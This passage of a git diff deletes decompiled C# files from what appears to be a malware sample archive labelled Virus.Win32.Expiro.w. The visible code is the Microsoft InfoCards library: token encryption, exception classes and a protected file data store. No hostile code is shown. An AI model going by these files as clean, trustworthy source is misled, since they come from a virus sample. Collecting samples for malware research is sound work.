XmlTextWriter((TextWriter) new StreamWriter((Stream) streamToBeEncrypted))); - profile.TokenSerializer.WriteToken((XmlWriter) dictionaryWriter, tokenToBeEncrypted); - dictionaryWriter.Flush(); - streamToBeEncrypted.Seek(0L, SeekOrigin.Begin); - return EncryptionUtility.EncryptToken(streamToBeEncrypted, cert, encryptingAlgorithm, asymmetricKeyWrapAlgorithm, profile); - } - - public static XmlElement EncryptSecurityToken( - XmlElement elem, - X509Certificate2 cert, - string encryptingAlgorithm, - string asymmetricKeyWrapAlgorithm, - ProtocolProfile profile) - { - MemoryStream streamToBeEncrypted = new MemoryStream(); - XmlDictionaryWriter dictionaryWriter = XmlDictionaryWriter.CreateDictionaryWriter((XmlWriter) new XmlTextWriter((TextWriter) new StreamWriter((Stream) streamToBeEncrypted))); - elem.WriteTo((XmlWriter) dictionaryWriter); - dictionaryWriter.Flush(); - streamToBeEncrypted.Seek(0L, SeekOrigin.Begin); - return EncryptionUtility.EncryptToken(streamToBeEncrypted, cert, encryptingAlgorithm, asymmetricKeyWrapAlgorithm, profile); - } - - private static XmlElement EncryptToken( - MemoryStream streamToBeEncrypted, - X509Certificate2 cert, - string encryptingAlgorithm, - string asymmetricKeyWrapAlgorithm, - ProtocolProfile profile) - { - InfoCardTrace.ThrowInvalidArgumentConditional(string.IsNullOrEmpty(encryptingAlgorithm), nameof (encryptingAlgorithm)); - InfoCardTrace.ThrowInvalidArgumentConditional(null == cert, nameof (cert)); - SecurityToken wrappingToken = (SecurityToken) new X509SecurityToken(cert, "id"); - SecurityAlgorithmSuite securityAlgorithmSuite1 = SecurityAlgorithmSuite.Default; - SecurityAlgorithmSuite securityAlgorithmSuite2; - switch (encryptingAlgorithm) - { - case "http://www.w3.org/2001/04/xmlenc#aes128-cbc": - securityAlgorithmSuite2 = SecurityAlgorithmSuite.Basic128; - break; - case "http://www.w3.org/2001/04/xmlenc#aes192-cbc": - securityAlgorithmSuite2 = SecurityAlgorithmSuite.Basic192; - break; - case "http://www.w3.org/2001/04/xmlenc#aes256-cbc": - securityAlgorithmSuite2 = SecurityAlgorithmSuite.Basic256; - break; - case "http://www.w3.org/2001/04/xmlenc#tripledes-cbc": - securityAlgorithmSuite2 = SecurityAlgorithmSuite.TripleDes; - break; - default: - throw InfoCardTrace.ThrowHelperError((Exception) new TokenCreationException(SR.GetString("UnsupportedEncryptionAlgorithm", (object) encryptingAlgorithm))); - } - SecurityKeyIdentifier wrappingTokenReference = new SecurityKeyIdentifier(new SecurityKeyIdentifierClause[1] - { - (SecurityKeyIdentifierClause) wrappingToken.CreateKeyIdentifierClause() - }); - byte[] numArray = new byte[securityAlgorithmSuite2.DefaultEncryptionKeyDerivationLength / 8]; - new RNGCryptoServiceProvider().GetNonZeroBytes(numArray); - WrappedKeySecurityToken keySecurityToken = new WrappedKeySecurityToken(string.Empty, numArray, asymmetricKeyWrapAlgorithm, wrappingToken, wrappingTokenReference); - SecurityKeyIdentifier securityKeyIdentifier = new SecurityKeyIdentifier(new SecurityKeyIdentifierClause[1] - { - (SecurityKeyIdentifierClause) new EncryptedKeyIdentifierClause(keySecurityToken.GetWrappedKey(), keySecurityToken.WrappingAlgorithm, keySecurityToken.WrappingTokenReference) - }); - SymmetricAlgorithm symmetricAlgorithm = ((SymmetricSecurityKey) keySecurityToken.SecurityKeys[0]).GetSymmetricAlgorithm(encryptingAlgorithm); - EncryptedData encryptedData = new EncryptedData(); - encryptedData.TokenSerializer = (SecurityTokenSerializer) profile.TokenSerializer; - encryptedData.KeyIdentifier = securityKeyIdentifier; - encryptedData.EncryptionMethod = encryptingAlgorithm; - encryptedData.Type = "http://www.w3.org/2001/04/xmlenc#Element"; - encryptedData.SetUpEncryption(symmetricAlgorithm, streamToBeEncrypted.GetBuffer(), 0, Convert.ToInt32(streamToBeEncrypted.Length)); - MemoryStream input = new MemoryStream(); - XmlDictionaryWriter dictionaryWriter = XmlDictionaryWriter.CreateDictionaryWriter((XmlWriter) new XmlTextWriter((TextWriter) new StreamWriter((Stream) input))); - encryptedData.WriteTo((XmlWriter) dictionaryWriter); - dictionaryWriter.Flush(); - input.Seek(0L, SeekOrigin.Begin); - XmlElement xmlElement = (XmlElement) new XmlDocument().ReadNode((XmlReader) Utility.CreateReaderWithQuotas((Stream) input)); - Array.Clear((Array) streamToBeEncrypted.GetBuffer(), 0, Convert.ToInt32(streamToBeEncrypted.Length)); - Array.Clear((Array) input.GetBuffer(), 0, Convert.ToInt32(input.Length)); - streamToBeEncrypted.Close(); - input.Close(); - return xmlElement; - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/EndCreateSecurityTokenRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/EndCreateSecurityTokenRequest.cs deleted file mode 100644 index bd9d5537..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/EndCreateSecurityTokenRequest.cs +++ /dev/null @@ -1,25 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.EndCreateSecurityTokenRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using System; -using System.IO; - -namespace Microsoft.InfoCards -{ - internal class EndCreateSecurityTokenRequest : UIAgentAsyncEndRequest - { - public EndCreateSecurityTokenRequest( - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs, - ClientUIRequest parent) - : base(rpcHandle, inArgs, outArgs, parent) - { - } - - protected override void OnMarshalAsyncOutArgs(BinaryWriter writer) => ((GetTokenRequest) this.ParentRequest).Token.DisplayToken.Serialize(writer); - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/EndGetFileNameFromUserRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/EndGetFileNameFromUserRequest.cs deleted file mode 100644 index 63ade723..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/EndGetFileNameFromUserRequest.cs +++ /dev/null @@ -1,33 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.EndGetFileNameFromUserRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.IO; - -namespace Microsoft.InfoCards -{ - internal class EndGetFileNameFromUserRequest : UIAgentAsyncEndRequest - { - public EndGetFileNameFromUserRequest( - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs, - ClientUIRequest parent) - : base(rpcHandle, inArgs, outArgs, parent) - { - } - - protected override void OnMarshalAsyncOutArgs(BinaryWriter writer) - { - GetFileNameResult result = (GetFileNameResult) this.Result; - InfoCardTrace.Assert(null != result, "The get file result cannot be null."); - Utility.SerializeString(writer, result.FileName); - Utility.SerializeBytes(writer, result.FileContent); - writer.Flush(); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/EndSelectCardRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/EndSelectCardRequest.cs deleted file mode 100644 index a0cfd160..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/EndSelectCardRequest.cs +++ /dev/null @@ -1,29 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.EndSelectCardRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using System; -using System.IO; - -namespace Microsoft.InfoCards -{ - internal class EndSelectCardRequest : UIAgentAsyncEndRequest - { - public EndSelectCardRequest( - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs, - ClientUIRequest parent) - : base(rpcHandle, inArgs, outArgs, parent) - { - } - - protected override void OnMarshalAsyncOutArgs(BinaryWriter writer) - { - int result = (int) this.Result; - writer.Write(result); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/ExceptionList.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/ExceptionList.cs deleted file mode 100644 index 9bf5620b..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/ExceptionList.cs +++ /dev/null @@ -1,22 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.ExceptionList -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using System; -using System.Collections.Generic; - -namespace Microsoft.InfoCards -{ - internal sealed class ExceptionList - { - public static ExceptionList AllNonFatal = new ExceptionList(); - public static ExceptionList Empty = new ExceptionList(); - private Dictionary m_list; - - private ExceptionList() => this.m_list = new Dictionary(0); - - public bool Contains(Type exceptionType) => this.m_list.ContainsKey(exceptionType); - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/ExceptionTranslationTable.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/ExceptionTranslationTable.cs deleted file mode 100644 index 578d755a..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/ExceptionTranslationTable.cs +++ /dev/null @@ -1,41 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.ExceptionTranslationTable -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using System; -using System.Collections.Generic; -using System.Security; - -namespace Microsoft.InfoCards -{ - internal sealed class ExceptionTranslationTable - { - private Dictionary m_table; - private static ExceptionTranslationTable s_thisTable; - - public static ExceptionTranslationTable Instance - { - get - { - if (ExceptionTranslationTable.s_thisTable == null) - ExceptionTranslationTable.s_thisTable = new ExceptionTranslationTable(); - return ExceptionTranslationTable.s_thisTable; - } - } - - private ExceptionTranslationTable() - { - this.m_table = new Dictionary(); - this.m_table.Add(typeof (ApplicationException), -2146232832); - this.m_table.Add(typeof (InvalidOperationException), -1073413888); - this.m_table.Add(typeof (NotImplementedException), -2147467263); - this.m_table.Add(typeof (SecurityException), -2147024891); - } - - public int this[Type key] => this.m_table[key]; - - public bool ContainsKey(Type key) => this.m_table.ContainsKey(key); - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/ExportException.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/ExportException.cs deleted file mode 100644 index 1fa175c8..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/ExportException.cs +++ /dev/null @@ -1,36 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.ExportException -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using System; -using System.Runtime.Serialization; - -namespace Microsoft.InfoCards -{ - internal class ExportException : InfoCardBaseException - { - private const int HRESULT = -1073413886; - - public ExportException() - : base(-1073413886) - { - } - - public ExportException(string message) - : base(-1073413886, message) - { - } - - public ExportException(string message, Exception inner) - : base(-1073413886, message, inner) - { - } - - protected ExportException(SerializationInfo si, StreamingContext sc) - : base(-1073413886, si, sc) - { - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/ExportFileRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/ExportFileRequest.cs deleted file mode 100644 index ff142813..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/ExportFileRequest.cs +++ /dev/null @@ -1,114 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.ExportFileRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Collections.Generic; -using System.IO; -using System.Text; -using System.Xml; -using System.Xml.Schema; - -namespace Microsoft.InfoCards -{ - internal class ExportFileRequest : UIAgentRequest - { - private string m_filename; - private string m_passphrase; - private string[] m_cardIds; - - public ExportFileRequest( - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs, - ClientUIRequest parent) - : base(rpcHandle, inArgs, outArgs, parent) - { - } - - protected override void OnMarshalInArgs() - { - BinaryReader reader = (BinaryReader) new InfoCardBinaryReader(this.InArgs, Encoding.Unicode); - this.m_filename = Utility.DeserializeString(reader); - this.m_passphrase = Utility.DeserializeString(reader); - uint length = reader.ReadUInt32(); - this.m_cardIds = new string[(IntPtr) length]; - for (uint index = 0; index < length; ++index) - this.m_cardIds[(IntPtr) index] = Utility.DeserializeString(reader); - } - - protected override void OnProcess() - { - InfoCardTrace.Assert(!string.IsNullOrEmpty(this.m_filename), "No file name was specified"); - InfoCardTrace.Assert(!string.IsNullOrEmpty(this.m_passphrase), " No passphrase specified for the file"); - StoreConnection connection = StoreConnection.GetConnection(); - try - { - RoamingStoreFile roamingStoreFile = new RoamingStoreFile(); - try - { - for (int index = 0; index < this.m_cardIds.Length; ++index) - { - InfoCard infoCard = new InfoCard(new Uri(this.m_cardIds[index])); - infoCard.Get(connection); - infoCard.GetMasterKey(connection); - roamingStoreFile.Cards.Add(infoCard); - } - using (FileStream output = new FileStream(this.m_filename, FileMode.Create)) - { - using (XmlWriter writer = XmlWriter.Create((Stream) output, new XmlWriterSettings() - { - CloseOutput = false - })) - { - roamingStoreFile.WriteTo(this.m_passphrase, writer); - writer.Flush(); - } - output.Flush(); - } - } - finally - { - foreach (InfoCard card in (IEnumerable) roamingStoreFile.Cards) - card.ClearSensitiveData(); - } - AuditLog.AuditStoreExport(); - } - catch (XmlSchemaValidationException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new ExportException(SR.GetString("SchemaValidationFailed"), (Exception) ex)); - } - catch (XmlException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new ExportException(SR.GetString("InvalidImportFile"), (Exception) ex)); - } - catch (UnauthorizedAccessException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new ExportException(SR.GetString("ImportInaccesibleFile"), (Exception) ex)); - } - catch (IOException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new ExportException(SR.GetString("InvalidImportFile"), (Exception) ex)); - } - catch (ArgumentException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new ExportException(SR.GetString("ImportInaccesibleFile"), (Exception) ex)); - } - catch (SerializationIncompleteException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new ExportException(SR.GetString("FailedToSerializeObject", (object) ex.ObjectType), (Exception) ex)); - } - finally - { - connection.Close(); - } - } - - protected override void OnMarshalOutArgs() - { - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/FailedToStartupUIException.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/FailedToStartupUIException.cs deleted file mode 100644 index 00e02a8b..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/FailedToStartupUIException.cs +++ /dev/null @@ -1,31 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.FailedToStartupUIException -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using System; -using System.Runtime.Serialization; - -namespace Microsoft.InfoCards -{ - internal class FailedToStartupUIException : InfoCardBaseException - { - private const int HRESULT = -1073413867; - - public FailedToStartupUIException() - : base(-1073413867) - { - } - - public FailedToStartupUIException(string message, Exception inner) - : base(-1073413867, message, inner) - { - } - - protected FailedToStartupUIException(SerializationInfo si, StreamingContext sc) - : base(-1073413867, si, sc) - { - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/FileAccessException.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/FileAccessException.cs deleted file mode 100644 index ad76f4e8..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/FileAccessException.cs +++ /dev/null @@ -1,36 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.FileAccessException -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using System; -using System.Runtime.Serialization; - -namespace Microsoft.InfoCards -{ - internal class FileAccessException : InfoCardBaseException - { - private const int HRESULT = -1073413864; - - public FileAccessException() - : base(-1073413864) - { - } - - public FileAccessException(string message) - : base(-1073413864, message) - { - } - - public FileAccessException(string message, Exception inner) - : base(-1073413864, message, inner) - { - } - - protected FileAccessException(SerializationInfo si, StreamingContext sc) - : base(-1073413864, si, sc) - { - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/FileDataSource.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/FileDataSource.cs deleted file mode 100644 index 5bfbfe7b..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/FileDataSource.cs +++ /dev/null @@ -1,1083 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.FileDataSource -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Collections; -using System.ComponentModel; -using System.IO; -using System.Runtime.InteropServices; -using System.Security.AccessControl; -using System.Security.Cryptography; -using System.Security.Principal; -using System.Text; -using System.Threading; - -namespace Microsoft.InfoCards -{ - internal class FileDataSource : DataSource - { - public const int ENCRYPTIONKEYBUFFERSIZE = 32; - public const int ENCRYPTIONKEYBITLENGTH = 256; - public const int ENCRYPTIONBLOCKBUFFERSIZE = 16; - public const int ENCRYPTIONBLOCKBITLENGTH = 128; - public const int ENCRYPTIONITERATIONS = 1000; - public const int INITIALINDEXITEMCOUNT = 20; - public const int INITIALINDEXAREASIZE = 80; - public const int INITIALBLOBAREASIZE = 2048; - public const int FILEVERSION = 11; - public const int FILEVERSIONV2 = 12; - private static readonly SecurityIdentifier AdministratorSid = new SecurityIdentifier(WellKnownSidType.BuiltinAdministratorsSid, (SecurityIdentifier) null); - private int m_variableSignatureLength = 64; - private FileInfo m_fileInfo; - private FileStream m_file; - private FileInfo m_shadowInfo; - private FileStream m_shadow; - private byte[] m_header; - private IndexedDataBuffer m_data; - private SecondaryIndexList m_indexes; - private ReaderWriterLock m_lock; - private SymmetricAlgorithm m_encAlg; - private byte[] m_key; - private bool m_keyProtected; - private WindowsIdentity m_identity; - private bool m_currentTransactionDirty; - private SafeRsaProviderHandle m_provider; - private byte[] m_encryptedKey; - - protected FileDataSource() - : base((string) null, (string) null) - { - } - - public FileDataSource(WindowsIdentity identity, string fileName) - : this(identity, fileName, Guid.NewGuid().ToString("P"), SecondaryIndexDefinition.MasterIndexes) - { - } - - public FileDataSource( - WindowsIdentity identity, - string fileName, - string instanceId, - SecondaryIndexDefinition[] indexDefinitions) - : base(instanceId, fileName) - { - this.m_identity = identity; - this.m_currentTransactionDirty = false; - this.m_fileInfo = new FileInfo(fileName); - this.m_shadowInfo = new FileInfo(this.m_fileInfo.FullName + ".shadow"); - this.m_lock = new ReaderWriterLock(); - this.m_indexes = new SecondaryIndexList(indexDefinitions); - this.m_encAlg = FileDataSource.CreateEncryptionAlg(); - this.SetupProvider(); - } - - public IndexedDataBuffer Buffer - { - get - { - this.ThrowIfDisposed(); - this.ThrowIfNotLoaded(); - return this.m_data; - } - } - - public byte[] Header - { - get - { - this.ThrowIfDisposed(); - this.ThrowIfNotLoaded(); - return this.m_header; - } - } - - public SecondaryIndexList Indexes - { - get - { - this.ThrowIfDisposed(); - this.ThrowIfNotLoaded(); - return this.m_indexes; - } - } - - protected WindowsIdentity Identity => this.m_identity; - - protected internal override void OnClear() - { - using (new SystemIdentity(true)) - { - FileDataSource.ResilientDelete(this.m_fileInfo); - FileDataSource.ResilientDelete(this.m_shadowInfo); - } - } - - protected internal override void OnLoad() - { - this.ThrowIfDisposed(); - try - { - this.CreateDirAndFiles(); - if (this.m_shadow.Length > 0L) - { - if (this.m_file.Length > 0L) - { - this.m_shadow.SetLength(0L); - this.LoadFrom((Stream) this.m_file); - } - else - { - this.LoadFrom((Stream) this.m_shadow); - this.FlushToShadow(); - this.SwapFileWithShadow(); - } - } - else if (this.m_file.Length > 0L) - { - this.LoadFrom((Stream) this.m_file); - } - else - { - this.CreateEmptyStore(); - this.FlushToShadow(); - this.SwapFileWithShadow(); - } - this.m_file.Seek(0L, SeekOrigin.Begin); - } - catch - { - this.CloseFiles(); - throw; - } - } - - private void CloseFiles() - { - using (new SystemIdentity(false)) - { - if (this.m_file != null) - { - this.m_file.Close(); - this.m_file = (FileStream) null; - } - if (this.m_shadow == null) - return; - this.m_shadow.Close(); - this.m_shadow = (FileStream) null; - } - } - - protected void CreateDirAndFiles() - { - this.CheckReparsePoints(); - if (NativeMcppMethods.PathSupportsPersistedSecurity(this.m_fileInfo.Directory.FullName)) - this.ValidateDirectoryAccess(); - using (new SystemIdentity(true)) - { - try - { - if (!this.m_fileInfo.Directory.Exists) - { - try - { - if (NativeMcppMethods.PathSupportsPersistedSecurity(this.m_fileInfo.Directory.FullName)) - this.m_fileInfo.Directory.Create(FileDataSource.CreateSecurityDescriptor()); - else - this.m_fileInfo.Directory.Create(); - this.m_fileInfo.Directory.Attributes |= FileAttributes.Hidden | FileAttributes.NotContentIndexed; - } - catch (UnauthorizedAccessException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new DataAccessException(ex.Message)); - } - } - else if (NativeMcppMethods.PathSupportsPersistedSecurity(this.m_fileInfo.Directory.FullName) && this.LogIfAclsTampered((FileSystemInfo) this.m_fileInfo.Directory)) - this.m_fileInfo.Directory.SetAccessControl(FileDataSource.CreateSecurityDescriptor()); - InfoCardTrace.Assert(this.m_shadowInfo.Directory.Exists, "m_shadowInfo directory should be same as main directory"); - this.OpenOrCreateHelper(this.m_fileInfo, out this.m_file); - this.OpenOrCreateHelper(this.m_shadowInfo, out this.m_shadow); - } - catch (IOException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new DataAccessException(ex.Message)); - } - } - } - - private void CheckReparsePoints() - { - using (new SystemIdentity(true)) - { - for (DirectoryInfo directoryInfo = this.m_fileInfo.Directory; directoryInfo != null; directoryInfo = directoryInfo.Parent) - { - if (directoryInfo.Exists && (directoryInfo.Attributes & FileAttributes.ReparsePoint) != (FileAttributes) 0) - throw InfoCardTrace.ThrowHelperError((Exception) new DataAccessException(SR.GetString("StoreNoReparsePointAllowed"))); - } - if (Directory.Exists(this.m_fileInfo.FullName) && (this.m_fileInfo.Attributes & FileAttributes.ReparsePoint) != (FileAttributes) 0) - throw InfoCardTrace.ThrowHelperError((Exception) new DataAccessException(SR.GetString("StoreNoReparsePointAllowed"))); - } - } - - private void ValidateDirectoryAccess() - { - InfoCardTrace.Assert(!WindowsIdentity.GetCurrent().IsSystem, "Should not be running as system"); - IdentityReference identityReference = WindowsIdentity.GetCurrent().User.Translate(typeof (NTAccount)); - bool flag = false; - DirectoryInfo parent = this.m_fileInfo.Directory.Parent; - if (parent.Exists) - { - foreach (FileSystemAccessRule accessRule in (ReadOnlyCollectionBase) parent.GetAccessControl().GetAccessRules(true, true, typeof (NTAccount))) - { - if (accessRule.IdentityReference == identityReference && accessRule.FileSystemRights == FileSystemRights.FullControl && accessRule.AccessControlType == AccessControlType.Allow) - { - flag = true; - break; - } - } - } - if (!flag) - throw InfoCardTrace.ThrowHelperError((Exception) new 